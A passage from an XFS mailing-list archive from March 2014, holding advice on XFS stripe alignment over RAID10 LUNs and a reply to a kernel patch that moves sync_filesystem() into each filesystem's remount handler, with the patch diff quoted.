>>> I'm trying to figure out the appropriate sw/su values to use per: >>> >>> http://xfs.org/index.php/XFS_FAQ#Q:_How_to_calculate_the_correct_sunit.2Cswidth_values_for_optimal_performance >>> >>> Am considering either just going with defaults (XFS should pull from >>> LVM I think) or doing something like sw=2,su=128K. However, maybe I >>> should be doing sw=2,su=1920K? And perhaps my LVM stripe width should >>> be adjusted? >> >> Why don't you first tell us what you want? You say at the top that you >> created a concatenation, but at the bottom you say LVM stripe. So first >> tell us which one you actually want, because the XFS alignment is >> radically different for each. >> >> Then tell us why you must use LVM instead of md. md has fewer >> problems/limitations for stripes and concat than LVM, and is much easier >> to configure. > > Yes, misused the term concatenation. Striping is what I'm afer (want > to use all of my LUNs equally). Striping does not guarantee equal distribution of data. > I don't know that I necessarily need to use LVM here. No need for > snapshots, just after the best "performance" for multiple NAS sourced > (via Samba) sequential write or read streams (but not read/write at the > same time). > > My setup is as follows right now: You need to figure out exactly what you have because none of what you state below makes any sense whatsoever. > MD3260_1 -> Disk Group 0 (RAID10 - 15 RG's, 128K segment size) -> 2 > Virtual Disks (one per controller) > MD3260_2 -> Disk Group 0 (RAID10 - 15 RG's, 128K segment size) -> 2 > Virtual Disks (one per controller) This doesn't tell us how many disks are in each RAID10. That is required information. It does not show the relationship between a "Virtual Disk" and a RAID10 array. > So I see four equally sized LUNs on my RHEL box, each with one active > path and one passive path (using Linux MPIO). This does not tell us the size of each LUN. That is required information. The number and size of the RAID10 arrays is also required. > I'll set up a striped md array across these four LUNs using a 128K > chunk size. This is wrong, no matter what the actual numbers are for everything up above, because the stripe unit of a nested stripe is always equal to the stripe width of the constituent arrays it stitches together. > Things work pretty well with the xfs default, so may stick with that, > but to try and get it as "right" as possible, I'm thinking I should be > using a su=128k value, but am not sure on the sw value. It's either: You only align XFS if you have an allocation heavy workload where the file sizes are smaller but very close to stripe width, or many times larger than stripe width. You *appear* to currently have a 3.84 MB stripe width. That is yet to be confirmed by you. > - 4 (four LUNs as far as my OS is concerned) My guess is that 2 of the 4 point to the same RAID10, both to the entire capacity, or to half the capacity. If you have 2 carvings of each RAID10 that are called "Virtual Disks" which are each mapped out a different controller as a distinct LUN, then this is completely wrong for what you want to accomplish. > - 30 (15 RAID groups per MD3260) So Dell calls the 15 RAID1 mirror of a RAID10 "RAID groups"? What does it call the RAID10 itself? > I'm thinking probably 4 is the right answer since the RAID groups on my > PowerVaults are all abstracted. If you are unable to figure out exactly how your RAIDs, VGs, and LUNs are configured, do not under any circumstances align XFS. All it will do is decrease performance. The default 4KB alignment is far, far better than misalignment. -- Stan From smfrench@gmail.com Thu Mar 13 19:33:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 75FFF7F54 for ; Thu, 13 Mar 2014 19:33:26 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 44141304051 for ; Thu, 13 Mar 2014 17:33:26 -0700 (PDT) X-ASG-Debug-ID: 1394757203-04cbb054b933c540001-NocioJ Received: from mail-pd0-f172.google.com (mail-pd0-f172.google.com [209.85.192.172]) by cuda.sgi.com with ESMTP id CZQPoDDSwBvkjXS1 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 13 Mar 2014 17:33:24 -0700 (PDT) X-Barracuda-Envelope-From: smfrench@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.172 Received: by mail-pd0-f172.google.com with SMTP id p10so1795685pdj.17 for ; Thu, 13 Mar 2014 17:33:23 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=jv52n9IyilDil34EFMJ9xOTZByj8ThnljNvkC/R6Cmw=; b=HjYaSSO2AholQYtDh8S3G36eHk50GOmvkYz+fMc48ZDnG/nzHgScs5lyHcBupKuiGL uLOCP+G/2PhKEli7NUdA3rklOrQgFCJRnSsYo/C6WZj7aspOffPrphVHNbrtJKrYQ0SI +al0GNByDWqwdP5CCcFITB/FIrUBQuYBozNrKGqvTK6msMToC+EhpthamJofSoJ+4Gcx WbVAPqTLYJAaFPyKWQdnAPnahHy+nD+TnJQq5s5NCmHl0t0DN3mKD03YORQnDdWkrbW5 nVXkuWlAUZtu77KtAButf3Lzrs1i8IxoQoKVUjZPcmFQm4n4CvBtssxu6k/FXRyJGEtG hYnA== X-Barracuda-BBL-IP: nil X-Received: by 10.66.25.7 with SMTP id y7mr5649183paf.151.1394757202969; Thu, 13 Mar 2014 17:33:22 -0700 (PDT) MIME-Version: 1.0 Received: by 10.68.66.170 with HTTP; Thu, 13 Mar 2014 17:33:02 -0700 (PDT) In-Reply-To: <1394720456-16629-1-git-send-email-tytso@mit.edu> References: <20140313073936.GA14663@infradead.org> <1394720456-16629-1-git-send-email-tytso@mit.edu> From: Steve French Date: Thu, 13 Mar 2014 19:33:02 -0500 Message-ID: Subject: Re: [PATCH] fs: push sync_filesystem() down to the file system's remount_fs() To: "Theodore Ts'o" X-ASG-Orig-Subj: Re: [PATCH] fs: push sync_filesystem() down to the file system's remount_fs() Cc: linux-fsdevel@thunk.org, Ext4 Developers List , linux-fsdevel , Christoph Hellwig , Artem Bityutskiy , Adrian Hunter , Evgeniy Dushistov , Jan Kara , OGAWA Hirofumi , Anders Larsen , Phillip Lougher , Kees Cook , Mikulas Patocka , Petr Vandrovec , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org, "linux-cifs@vger.kernel.org" , samba-technical , codalist@coda.cs.cmu.edu, linux-f2fs-devel@lists.sourceforge.net, fuse-devel@lists.sourceforge.net, cluster-devel@redhat.com, linux-mtd@lists.infradead.org, jfs-discussion@lists.sourceforge.net, "linux-nfs@vger.kernel.org" , linux-nilfs@vger.kernel.org, linux-ntfs-dev@lists.sourceforge.net, ocfs2-devel@oss.oracle.com, reiserfs-devel@vger.kernel.org Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-pd0-f172.google.com[209.85.192.172] X-Barracuda-Start-Time: 1394757203 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3856 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Thu, Mar 13, 2014 at 9:20 AM, Theodore Ts'o wrote: > Previously, the no-op "mount -o mount /dev/xxx" operation when the > file system is already mounted read-write causes an implied, > unconditional syncfs(). This seems pretty stupid, and it's certainly > documented or guaraunteed to do this, nor is it particularly useful, > except in the case where the file system was mounted rw and is getting > remounted read-only. Is there a case where a file system, not mounted read-only, would want to skip the syncfs on remount? I don't know of any particular reason to do a syncfs on remount unless caching behavior is changing (or moving to read-only mount), but if as you say it is documented and guaranteed... > However, it's possible that there might be some file systems that are > actually depending on this behavior. In most file systems, it's > probably fine to only call sync_filesystem() when transitioning from > read-write to read-only, and there are some file systems where this is > not needed at all (for example, for a pseudo-filesystem or something > like romfs). > > Signed-off-by: "Theodore Ts'o" > Cc: linux-fsdevel@vger.kernel.org > Cc: Christoph Hellwig > Cc: Artem Bityutskiy > Cc: Adrian Hunter > Cc: Evgeniy Dushistov > Cc: Jan Kara > Cc: OGAWA Hirofumi > Cc: Anders Larsen > Cc: Phillip Lougher > Cc: Kees Cook > Cc: Mikulas Patocka > Cc: Petr Vandrovec > Cc: xfs@oss.sgi.com > Cc: linux-btrfs@vger.kernel.org > Cc: linux-cifs@vger.kernel.org > Cc: samba-technical@lists.samba.org > Cc: codalist@coda.cs.cmu.edu > Cc: linux-ext4@vger.kernel.org > Cc: linux-f2fs-devel@lists.sourceforge.net > Cc: fuse-devel@lists.sourceforge.net > Cc: cluster-devel@redhat.com > Cc: linux-mtd@lists.infradead.org > Cc: jfs-discussion@lists.sourceforge.net > Cc: linux-nfs@vger.kernel.org > Cc: linux-nilfs@vger.kernel.org > Cc: linux-ntfs-dev@lists.sourceforge.net > Cc: ocfs2-devel@oss.oracle.com > Cc: reiserfs-devel@vger.kernel.org > --- > fs/adfs/super.c | 1 + > fs/affs/super.c | 1 + > fs/befs/linuxvfs.c | 1 + > fs/btrfs/super.c | 1 + > fs/cifs/cifsfs.c | 1 + > fs/coda/inode.c | 1 + > fs/cramfs/inode.c | 1 + > fs/debugfs/inode.c | 1 + > fs/devpts/inode.c | 1 + > fs/efs/super.c | 1 + > fs/ext2/super.c | 1 + > fs/ext3/super.c | 2 ++ > fs/ext4/super.c | 2 ++ > fs/f2fs/super.c | 2 ++ > fs/fat/inode.c | 2 ++ > fs/freevxfs/vxfs_super.c | 1 + > fs/fuse/inode.c | 1 + > fs/gfs2/super.c | 2 ++ > fs/hfs/super.c | 1 + > fs/hfsplus/super.c | 1 + > fs/hpfs/super.c | 2 ++ > fs/isofs/inode.c | 1 + > fs/jffs2/super.c | 1 + > fs/jfs/super.c | 1 + > fs/minix/inode.c | 1 + > fs/ncpfs/inode.c | 1 + > fs/nfs/super.c | 2 ++ > fs/nilfs2/super.c | 1 + > fs/ntfs/super.c | 2 ++ > fs/ocfs2/super.c | 2 ++ > fs/openpromfs/inode.c | 1 + > fs/proc/root.c | 2 ++ > fs/pstore/inode.c | 1 + > fs/qnx4/inode.c | 1 + > fs/qnx6/inode.c | 1 + > fs/reiserfs/super.c | 1 + > fs/romfs/super.c | 1 + > fs/squashfs/super.c | 1 + > fs/super.c | 2 -- > fs/sysv/inode.c | 1 + > fs/ubifs/super.c | 1 + > fs/udf/super.c | 1 + > fs/ufs/super.c | 1 + > fs/xfs/xfs_super.c | 1 + > 44 files changed, 53 insertions(+), 2 deletions(-) > > diff --git a/fs/adfs/super.c b/fs/adfs/super.c > index 7b3003c..952aeb0 100644 > --- a/fs/adfs/super.c > +++ b/fs/adfs/super.c > @@ -212,6 +212,7 @@ static int parse_options(struct super_block *sb, char *options) > > static int adfs_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > *flags |= MS_NODIRATIME; > return parse_options(sb, data); > } > diff --git a/fs/affs/super.c b/fs/affs/super.c > index d098731..3074530 100644 > --- a/fs/affs/super.c > +++ b/fs/affs/super.c > @@ -530,6 +530,7 @@ affs_remount(struct super_block *sb, int *flags, char *data) > > pr_debug("AFFS: remount(flags=0x%x,opts=\"%s\")\n",*flags,data); > > + sync_filesystem(sb); > *flags |= MS_NODIRATIME; > > memcpy(volume, sbi->s_volume, 32); > diff --git a/fs/befs/linuxvfs.c b/fs/befs/linuxvfs.c > index 845d2d6..56d70c8 100644 > --- a/fs/befs/linuxvfs.c > +++ b/fs/befs/linuxvfs.c > @@ -913,6 +913,7 @@ befs_fill_super(struct super_block *sb, void *data, int silent) > static int > befs_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > if (!(*flags & MS_RDONLY)) > return -EINVAL; > return 0; > diff --git a/fs/btrfs/super.c b/fs/btrfs/super.c > index 97cc241..00cd0c5 100644 > --- a/fs/btrfs/super.c > +++ b/fs/btrfs/super.c > @@ -1381,6 +1381,7 @@ static int btrfs_remount(struct super_block *sb, int *flags, char *data) > unsigned int old_metadata_ratio = fs_info->metadata_ratio; > int ret; > > + sync_filesystem(sb); > btrfs_remount_prepare(fs_info); > > ret = btrfs_parse_options(root, data); > diff --git a/fs/cifs/cifsfs.c b/fs/cifs/cifsfs.c > index 849f613..4942c94 100644 > --- a/fs/cifs/cifsfs.c > +++ b/fs/cifs/cifsfs.c > @@ -541,6 +541,7 @@ static int cifs_show_stats(struct seq_file *s, struct dentry *root) > > static int cifs_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > *flags |= MS_NODIRATIME; > return 0; > } > diff --git a/fs/coda/inode.c b/fs/coda/inode.c > index 506de34..3f48000 100644 > --- a/fs/coda/inode.c > +++ b/fs/coda/inode.c > @@ -96,6 +96,7 @@ void coda_destroy_inodecache(void) > > static int coda_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > *flags |= MS_NOATIME; > return 0; > } > diff --git a/fs/cramfs/inode.c b/fs/cramfs/inode.c > index 06610cf..a275911 100644 > --- a/fs/cramfs/inode.c > +++ b/fs/cramfs/inode.c > @@ -244,6 +244,7 @@ static void cramfs_kill_sb(struct super_block *sb) > > static int cramfs_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > *flags |= MS_RDONLY; > return 0; > } > diff --git a/fs/debugfs/inode.c b/fs/debugfs/inode.c > index 9c0444c..02928a9 100644 > --- a/fs/debugfs/inode.c > +++ b/fs/debugfs/inode.c > @@ -218,6 +218,7 @@ static int debugfs_remount(struct super_block *sb, int *flags, char *data) > int err; > struct debugfs_fs_info *fsi = sb->s_fs_info; > > + sync_filesystem(sb); > err = debugfs_parse_options(data, &fsi->mount_opts); > if (err) > goto fail; > diff --git a/fs/devpts/inode.c b/fs/devpts/inode.c > index a726b9f..c710380 100644 > --- a/fs/devpts/inode.c > +++ b/fs/devpts/inode.c > @@ -313,6 +313,7 @@ static int devpts_remount(struct super_block *sb, int *flags, char *data) > struct pts_fs_info *fsi = DEVPTS_SB(sb); > struct pts_mount_opts *opts = &fsi->mount_opts; > > + sync_filesystem(sb); > err = parse_mount_options(data, PARSE_REMOUNT, opts); > > /* > diff --git a/fs/efs/super.c b/fs/efs/super.c > index 50215bb..103bbd8 100644 > --- a/fs/efs/super.c > +++ b/fs/efs/super.c > @@ -114,6 +114,7 @@ static void destroy_inodecache(void) > > static int efs_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > *flags |= MS_RDONLY; > return 0; > } > diff --git a/fs/ext2/super.c b/fs/ext2/super.c > index 20d6697..d260115 100644 > --- a/fs/ext2/super.c > +++ b/fs/ext2/super.c > @@ -1254,6 +1254,7 @@ static int ext2_remount (struct super_block * sb, int * flags, char * data) > unsigned long old_sb_flags; > int err; > > + sync_filesystem(sb); > spin_lock(&sbi->s_lock); > > /* Store the old options */ > diff --git a/fs/ext3/super.c b/fs/ext3/super.c > index 37fd31e..95c6c5a 100644 > --- a/fs/ext3/super.c > +++ b/fs/ext3/super.c > @@ -2649,6 +2649,8 @@ static int ext3_remount (struct super_block * sb, int * flags, char * data) > int i; > #endif > > + sync_filesystem(sb); > + > /* Store the original options */ > old_sb_flags = sb->s_flags; > old_opts.s_mount_opt = sbi->s_mount_opt; > diff --git a/fs/ext4/super.c b/fs/ext4/super.c > index f5c13b8..aa3842f 100644 > --- a/fs/ext4/super.c > +++ b/fs/ext4/super.c > @@ -4767,6 +4767,8 @@ static int ext4_remount(struct super_block *sb, int *flags, char *data) > #endif > char *orig_data = kstrdup(data, GFP_KERNEL); > > + sync_filesystem(sb); > + > /* Store the original options */ > old_sb_flags = sb->s_flags; > old_opts.s_mount_opt = sbi->s_mount_opt; > diff --git a/fs/f2fs/super.c b/fs/f2fs/super.c > index 1a85f83..856bdf9 100644 > --- a/fs/f2fs/super.c > +++ b/fs/f2fs/super.c > @@ -568,6 +568,8 @@ static int f2fs_remount(struct super_block *sb, int *flags, char *data) > struct f2fs_mount_info org_mount_opt; > int err, active_logs; > > + sync_filesystem(sb); > + > /* > * Save the old mount options in case we > * need to restore them. > diff --git a/fs/fat/inode.c b/fs/fat/inode.c > index 854b578..343e477 100644 > --- a/fs/fat/inode.c > +++ b/fs/fat/inode.c > @@ -635,6 +635,8 @@ static int fat_remount(struct super_block *sb, int *flags, char *data) > struct msdos_sb_info *sbi = MSDOS_SB(sb); > *flags |= MS_NODIRATIME | (sbi->options.isvfat ? 0 : MS_NOATIME); > > + sync_filesystem(sb); > + > /* make sure we update state on remount. */ > new_rdonly = *flags & MS_RDONLY; > if (new_rdonly != (sb->s_flags & MS_RDONLY)) { > diff --git a/fs/freevxfs/vxfs_super.c b/fs/freevxfs/vxfs_super.c > index e37eb27..7ca8c75 100644 > --- a/fs/freevxfs/vxfs_super.c > +++ b/fs/freevxfs/vxfs_super.c > @@ -124,6 +124,7 @@ vxfs_statfs(struct dentry *dentry, struct kstatfs *bufp) > > static int vxfs_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > *flags |= MS_RDONLY; > return 0; > } > diff --git a/fs/fuse/inode.c b/fs/fuse/inode.c > index d468643..ecdb255d 100644 > --- a/fs/fuse/inode.c > +++ b/fs/fuse/inode.c > @@ -135,6 +135,7 @@ static void fuse_evict_inode(struct inode *inode) > > static int fuse_remount_fs(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > if (*flags & MS_MANDLOCK) > return -EINVAL; > > diff --git a/fs/gfs2/super.c b/fs/gfs2/super.c > index 60f60f6..4c6dd50 100644 > --- a/fs/gfs2/super.c > +++ b/fs/gfs2/super.c > @@ -1175,6 +1175,8 @@ static int gfs2_remount_fs(struct super_block *sb, int *flags, char *data) > struct gfs2_tune *gt = &sdp->sd_tune; > int error; > > + sync_filesystem(sb); > + > spin_lock(>->gt_spin); > args.ar_commit = gt->gt_logd_secs; > args.ar_quota_quantum = gt->gt_quota_quantum; > diff --git a/fs/hfs/super.c b/fs/hfs/super.c > index 2d2039e..eee7206 100644 > --- a/fs/hfs/super.c > +++ b/fs/hfs/super.c > @@ -112,6 +112,7 @@ static int hfs_statfs(struct dentry *dentry, struct kstatfs *buf) > > static int hfs_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > *flags |= MS_NODIRATIME; > if ((*flags & MS_RDONLY) == (sb->s_flags & MS_RDONLY)) > return 0; > diff --git a/fs/hfsplus/super.c b/fs/hfsplus/super.c > index 80875aa..8eb787b 100644 > --- a/fs/hfsplus/super.c > +++ b/fs/hfsplus/super.c > @@ -323,6 +323,7 @@ static int hfsplus_statfs(struct dentry *dentry, struct kstatfs *buf) > > static int hfsplus_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > if ((*flags & MS_RDONLY) == (sb->s_flags & MS_RDONLY)) > return 0; > if (!(*flags & MS_RDONLY)) { > diff --git a/fs/hpfs/super.c b/fs/hpfs/super.c > index 4534ff6..fe3463a 100644 > --- a/fs/hpfs/super.c > +++ b/fs/hpfs/super.c > @@ -421,6 +421,8 @@ static int hpfs_remount_fs(struct super_block *s, int *flags, char *data) > struct hpfs_sb_info *sbi = hpfs_sb(s); > char *new_opts = kstrdup(data, GFP_KERNEL); > > + sync_filesystem(s); > + > *flags |= MS_NOATIME; > > hpfs_lock(s); > diff --git a/fs/isofs/inode.c b/fs/isofs/inode.c > index 4a9e10e..6af66ee 100644 > --- a/fs/isofs/inode.c > +++ b/fs/isofs/inode.c > @@ -117,6 +117,7 @@ static void destroy_inodecache(void) > > static int isofs_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > if (!(*flags & MS_RDONLY)) > return -EROFS; > return 0; > diff --git a/fs/jffs2/super.c b/fs/jffs2/super.c > index 0defb1c..0918f0e 100644 > --- a/fs/jffs2/super.c > +++ b/fs/jffs2/super.c > @@ -243,6 +243,7 @@ static int jffs2_remount_fs(struct super_block *sb, int *flags, char *data) > struct jffs2_sb_info *c = JFFS2_SB_INFO(sb); > int err; > > + sync_filesystem(sb); > err = jffs2_parse_options(c, data); > if (err) > return -EINVAL; > diff --git a/fs/jfs/super.c b/fs/jfs/super.c > index e2b7483..97f7fda 100644 > --- a/fs/jfs/super.c > +++ b/fs/jfs/super.c > @@ -418,6 +418,7 @@ static int jfs_remount(struct super_block *sb, int *flags, char *data) > int flag = JFS_SBI(sb)->flag; > int ret; > > + sync_filesystem(sb); > if (!parse_options(data, sb, &newLVSize, &flag)) { > return -EINVAL; > } > diff --git a/fs/minix/inode.c b/fs/minix/inode.c > index 0332109..dcdc298 100644 > --- a/fs/minix/inode.c > +++ b/fs/minix/inode.c > @@ -123,6 +123,7 @@ static int minix_remount (struct super_block * sb, int * flags, char * data) > struct minix_sb_info * sbi = minix_sb(sb); > struct minix_super_block * ms; > > + sync_filesystem(sb); > ms = sbi->s_ms; > if ((*flags & MS_RDONLY) == (sb->s_flags & MS_RDONLY)) > return 0; > diff --git a/fs/ncpfs/inode.c b/fs/ncpfs/inode.c > index 2cf2ebe..5f86e80 100644 > --- a/fs/ncpfs/inode.c > +++ b/fs/ncpfs/inode.c > @@ -99,6 +99,7 @@ static void destroy_inodecache(void) > > static int ncp_remount(struct super_block *sb, int *flags, char* data) > { > + sync_filesystem(sb); > *flags |= MS_NODIRATIME; > return 0; > } > diff --git a/fs/nfs/super.c b/fs/nfs/super.c > index 910ed90..2cb5694 100644 > --- a/fs/nfs/super.c > +++ b/fs/nfs/super.c > @@ -2215,6 +2215,8 @@ nfs_remount(struct super_block *sb, int *flags, char *raw_data) > struct nfs4_mount_data *options4 = (struct nfs4_mount_data *)raw_data; > u32 nfsvers = nfss->nfs_client->rpc_ops->version; > > + sync_filesystem(sb); > + > /* > * Userspace mount programs that send binary options generally send > * them populated with default values. We have no way to know which > diff --git a/fs/nilfs2/super.c b/fs/nilfs2/super.c > index 7ac2a12..8c532b2 100644 > --- a/fs/nilfs2/super.c > +++ b/fs/nilfs2/super.c > @@ -1129,6 +1129,7 @@ static int nilfs_remount(struct super_block *sb, int *flags, char *data) > unsigned long old_mount_opt; > int err; > > + sync_filesystem(sb); > old_sb_flags = sb->s_flags; > old_mount_opt = nilfs->ns_mount_opt; > > diff --git a/fs/ntfs/super.c b/fs/ntfs/super.c > index 82650d5..bd5610d 100644 > --- a/fs/ntfs/super.c > +++ b/fs/ntfs/super.c > @@ -468,6 +468,8 @@ static int ntfs_remount(struct super_block *sb, int *flags, char *opt) > > ntfs_debug("Entering with remount options string: %s", opt); > > + sync_filesystem(sb); > + > #ifndef NTFS_RW > /* For read-only compiled driver, enforce read-only flag. */ > *flags |= MS_RDONLY; > diff --git a/fs/ocfs2/super.c b/fs/ocfs2/super.c > index 49d84f8..5f9bf8f 100644 > --- a/fs/ocfs2/super.c > +++ b/fs/ocfs2/super.c > @@ -631,6 +631,8 @@ static int ocfs2_remount(struct super_block *sb, int *flags, char *data) > struct ocfs2_super *osb = OCFS2_SB(sb); > u32 tmp; > > + sync_filesystem(sb); > + > if (!ocfs2_parse_options(sb, data, &parsed_options, 1) || > !ocfs2_check_set_options(sb, &parsed_options)) { > ret = -EINVAL; > diff --git a/fs/openpromfs/inode.c b/fs/openpromfs/inode.c > index 8c0ceb8..15e4500 100644 > --- a/fs/openpromfs/inode.c > +++ b/fs/openpromfs/inode.c > @@ -368,6 +368,7 @@ static struct inode *openprom_iget(struct super_block *sb, ino_t ino) > > static int openprom_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > *flags |= MS_NOATIME; > return 0; > } > diff --git a/fs/proc/root.c b/fs/proc/root.c > index 87dbcbe..ac823a8 100644 > --- a/fs/proc/root.c > +++ b/fs/proc/root.c > @@ -92,6 +92,8 @@ static int proc_parse_options(char *options, struct pid_namespace *pid) > int proc_remount(struct super_block *sb, int *flags, char *data) > { > struct pid_namespace *pid = sb->s_fs_info; > + > + sync_filesystem(sb); > return !proc_parse_options(data, pid); > } > > diff --git a/fs/pstore/inode.c b/fs/pstore/inode.c > index 1282384..192297b 100644 > --- a/fs/pstore/inode.c > +++ b/fs/pstore/inode.c > @@ -249,6 +249,7 @@ static void parse_options(char *options) > > static int pstore_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > parse_options(data); > > return 0; > diff --git a/fs/qnx4/inode.c b/fs/qnx4/inode.c > index 8955881..c4bcb77 100644 > --- a/fs/qnx4/inode.c > +++ b/fs/qnx4/inode.c > @@ -44,6 +44,7 @@ static int qnx4_remount(struct super_block *sb, int *flags, char *data) > { > struct qnx4_sb_info *qs; > > + sync_filesystem(sb); > qs = qnx4_sb(sb); > qs->Version = QNX4_VERSION; > *flags |= MS_RDONLY; > diff --git a/fs/qnx6/inode.c b/fs/qnx6/inode.c > index 8d941ed..65cdaab 100644 > --- a/fs/qnx6/inode.c > +++ b/fs/qnx6/inode.c > @@ -55,6 +55,7 @@ static int qnx6_show_options(struct seq_file *seq, struct dentry *root) > > static int qnx6_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > *flags |= MS_RDONLY; > return 0; > } > diff --git a/fs/reiserfs/super.c b/fs/reiserfs/super.c > index 2c80335..abf2b76 100644 > --- a/fs/reiserfs/super.c > +++ b/fs/reiserfs/super.c > @@ -1319,6 +1319,7 @@ static int reiserfs_remount(struct super_block *s, int *mount_flags, char *arg) > int i; > #endif > > + sync_filesystem(s); > reiserfs_write_lock(s); > > #ifdef CONFIG_QUOTA > diff --git a/fs/romfs/super.c b/fs/romfs/super.c > index d841878..ef90e8b 100644 > --- a/fs/romfs/super.c > +++ b/fs/romfs/super.c > @@ -432,6 +432,7 @@ static int romfs_statfs(struct dentry *dentry, struct kstatfs *buf) > */ > static int romfs_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > *flags |= MS_RDONLY; > return 0; > } > diff --git a/fs/squashfs/super.c b/fs/squashfs/super.c > index 202df63..031c8d67 100644 > --- a/fs/squashfs/super.c > +++ b/fs/squashfs/super.c > @@ -371,6 +371,7 @@ static int squashfs_statfs(struct dentry *dentry, struct kstatfs *buf) > > static int squashfs_remount(struct super_block *sb, int *flags, char *data) > { > + sync_filesystem(sb); > *flags |= MS_RDONLY; > return 0; > } > diff --git a/fs/super.c b/fs/super.c > index 80d5cf2..e9dc3c3 100644 > --- a/fs/super.c > +++ b/fs/super.c > @@ -719,8 +719,6 @@ int do_remount_sb(struct super_block *sb, int flags, void *data, int force) > } > } > > - sync_filesystem(sb); > - > if (sb->s_op->remount_fs) { > retval = sb->s_op->remount_fs(sb, &flags, data); > if (retval) { > diff --git a/fs/sysv/inode.c b/fs/sysv/inode.c > index c327d4e..4742e58 100644 > --- a/fs/sysv/inode.c > +++ b/fs/sysv/inode.c > @@ -60,6 +60,7 @@ static int sysv_remount(struct super_block *sb, int *flags, char *data) > { > struct sysv_sb_info *sbi = SYSV_SB(sb); > > + sync_filesystem(sb); > if (sbi->s_forced_ro) > *flags |= MS_RDONLY; > return 0; > diff --git a/fs/ubifs/super.c b/fs/ubifs/super.c > index 5ded849..e1598ab 100644 > --- a/fs/ubifs/super.c > +++ b/fs/ubifs/super.c > @@ -1827,6 +1827,7 @@ static int ubifs_remount_fs(struct super_block *sb, int *flags, char *data) > int err; > struct ubifs_info *c = sb->s_fs_info; > > + sync_filesystem(sb); > dbg_gen("old flags %#lx, new flags %#x", sb->s_flags, *flags); > > err = ubifs_parse_options(c, data, 1); > diff --git a/fs/udf/super.c b/fs/udf/super.c > index 3306b9f..64f2b73 100644 > --- a/fs/udf/super.c > +++ b/fs/udf/super.c > @@ -646,6 +646,7 @@ static int udf_remount_fs(struct super_block *sb, int *flags, char *options) > int error = 0; > struct logicalVolIntegrityDescImpUse *lvidiu = udf_sb_lvidiu(sb); > > + sync_filesystem(sb); > if (lvidiu) { > int write_rev = le16_to_cpu(lvidiu->minUDFWriteRev); > if (write_rev > UDF_MAX_WRITE_VERSION && !(*flags & MS_RDONLY)) > diff --git a/fs/ufs/super.c b/fs/ufs/super.c > index 329f2f5..b8c6791 100644 > --- a/fs/ufs/super.c > +++ b/fs/ufs/super.c > @@ -1280,6 +1280,7 @@ static int ufs_remount (struct super_block *sb, int *mount_flags, char *data) > unsigned new_mount_opt, ufstype; > unsigned flags; > > + sync_filesystem(sb); > lock_ufs(sb); > mutex_lock(&UFS_SB(sb)->s_lock); > uspi = UFS_SB(sb)->s_uspi; > diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c > index f317488..aaa3eca 100644 > --- a/fs/xfs/xfs_super.c > +++ b/fs/xfs/xfs_super.c > @@ -1197,6 +1197,7 @@ xfs_fs_remount( > char *p; > int error; > > + sync_filesystem(sb); > while ((p = strsep(&options, ",")) != NULL) { > int token; > > -- > 1.9.0 > > -- > To unsubscribe from this list: send the line "unsubscribe linux-cifs" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html -- Thanks, Steve From jghm@cgyy.org Thu Mar 13 20:15:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4AA087F52 for ; Thu, 13 Mar 2014 20:15:48 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2D257304048 for ; 